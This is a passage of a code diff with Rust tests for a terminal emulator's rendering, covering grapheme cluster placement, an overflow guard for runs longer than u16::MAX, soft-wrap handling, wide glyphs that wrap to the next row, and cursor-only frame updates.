let (spans, _actions) = render("xye\u{0301}z");
assert_eq!(
placements(&spans),
vec![
(0, "x".into()),
(1, "y".into()),
(2, "e\u{0301}".into()),
(3, "z".into()),
],
"a marked cluster must not be absorbed into the run in front of it"
);
}
/// `cluster_count` is a `u16` and `Size.columns` is an unclamped `usize`
/// (`lib.rs:50`) that no production caller bounds yet, so a row of uniform
/// cells wider than `u16::MAX` reaches the join guard's overflow refusal.
/// The guard is live code, not paranoia, and this fixture is what says so.
///
/// Refusing to join produces a shape the consumer already handles -- the run
/// ends and a new span starts at the next column -- whereas wrapping produces
/// an undecodable span, the same failure as the marked-after-plain case above.
#[test]
fn a_run_longer_than_u16_max_splits_rather_than_wrapping() {
let columns = 70_000;
let size = Size {
columns,
screen_lines: 1,
scrollback: 0,
};
let (term, _actions) = Terminal::new(size, Fences::ALL);
let shared = SharedTerminal::new(term);
// One character is enough: the rest of the row is blank cells of the same
// style, so the whole row is a single candidate run.
shared.feed_fully(b"a");
let mut encoder = Encoder::new();
let frame = shared.render(&mut encoder);
let spans = &frame
.rows
.iter()
.find(|row| row.line == 0)
.expect("the fed row must be present")
.spans;
assert!(
spans.iter().all(|span| span.counts_are_consistent()),
"an oversized run must not wrap its count: {spans:?}"
);
let counts: Vec<u16> = spans.iter().map(|span| span.cluster_count).collect();
let columns_at: Vec<usize> = spans.iter().map(|span| span.column).collect();
assert_eq!(
counts,
vec![u16::MAX, (columns - u16::MAX as usize) as u16],
"the run must end at the last representable count"
);
assert_eq!(
columns_at,
vec![0, u16::MAX as usize],
"the second span starts where the first left off"
);
let chars: usize = spans.iter().map(|span| span.text.chars().count()).sum();
assert_eq!(chars, columns, "no cell may be dropped by the split");
}
/// Wrapping marks the last cell of the row with `WRAPLINE` (upstream
/// `term/mod.rs:968`). That bit records where the text happened to wrap, not
/// how the text looks, so it must not reach the style key: if it did, the last
/// column of every wrapped row would split off into a span of its own -- an
/// extra wire record per wrapped line, and span boundaries that move when the
/// window is resized.
///
/// Quinn found this by reading `cell.rs:21` while checking the `WIDE_CHAR`
/// mask; this fixture is the proof that was missing from the source read.
#[test]
fn wrapping_does_not_split_a_uniform_run() {
let size = Size {
columns: 5,
screen_lines: 3,
scrollback: 100,
};
let (term, _actions) = Terminal::new(size, Fences::ALL);
let shared = SharedTerminal::new(term);
// Six narrow cells in one style: five fill row 0 and set WRAPLINE on the
// last of them, the sixth lands on row 1.
shared.feed_fully(b"abcdef");
let mut encoder = Encoder::new();
let frame = shared.render(&mut encoder);
let first = frame
.rows
.iter()
.find(|row| row.line == 0)
.expect("wrapped row must be present");
assert!(
first.wrapped,
"soft-wrap geometry must survive row encoding"
);
let texts: Vec<&str> = first.spans.iter().map(|s| s.text.as_str()).collect();
assert_eq!(
texts,
vec!["abcde"],
"a wrapped row of one style is one span; WRAPLINE must not break it"
);
}
/// A wide glyph at the last usable column wraps to the next row rather than
/// straddling the edge. The contract must hold on the wrapped row too.
#[test]
fn leading_wide_glyph_after_wrap_is_positioned_from_column_zero() {
let size = Size {
columns: 5,
screen_lines: 3,
scrollback: 100,
};
let (term, _actions) = Terminal::new(size, Fences::ALL);
let shared = SharedTerminal::new(term);
// Four narrow cells fill 0..=3, leaving one column: the wide glyph cannot
// fit and moves to the next row.
shared.feed_fully("abcd\u{4E00}".as_bytes());
let mut encoder = Encoder::new();
let frame = shared.render(&mut encoder);
let second = frame
.rows
.iter()
.find(|row| row.line == 1)
.expect("wrapped row must be present");
assert_eq!(
placements(&second.spans),
vec![(0, "\u{4E00}".into())],
"a wrapped wide glyph starts at column 0 of the next row"
);
}
@@ -0,0 +1,41 @@
use buzz_terminal::damage::Encoder;
use buzz_terminal::fences::Fences;
use buzz_terminal::{SharedTerminal, Size, Terminal};
#[test]
fn space_over_blank_cell_publishes_cursor_only_frame() {
let (terminal, _actions) = Terminal::new(
Size {
columns: 8,
screen_lines: 2,
scrollback: 10,
},
Fences::ALL,
);
let terminal = SharedTerminal::new(terminal);
let mut encoder = Encoder::new();
let initial = terminal.render(&mut encoder);
assert!(!initial.is_empty());
assert_eq!(initial.cursor.column, 0);
terminal.feed_fully(b" ");
let after_space = terminal.render(&mut encoder);
assert!(
after_space.rows.is_empty(),
"a blank cell overwritten with a space must be row-deduplicated"
);
assert_eq!(after_space.cursor.column, 1);
assert!(after_space.cursor_changed);
assert!(
!after_space.is_empty(),
"cursor movement must make the frame publishable"
);
let idle = terminal.render(&mut encoder);
assert!(
idle.is_empty(),
"an unchanged cursor must not create traffic"
);
}

Some files were not shown because too many files have changed in this diff Show More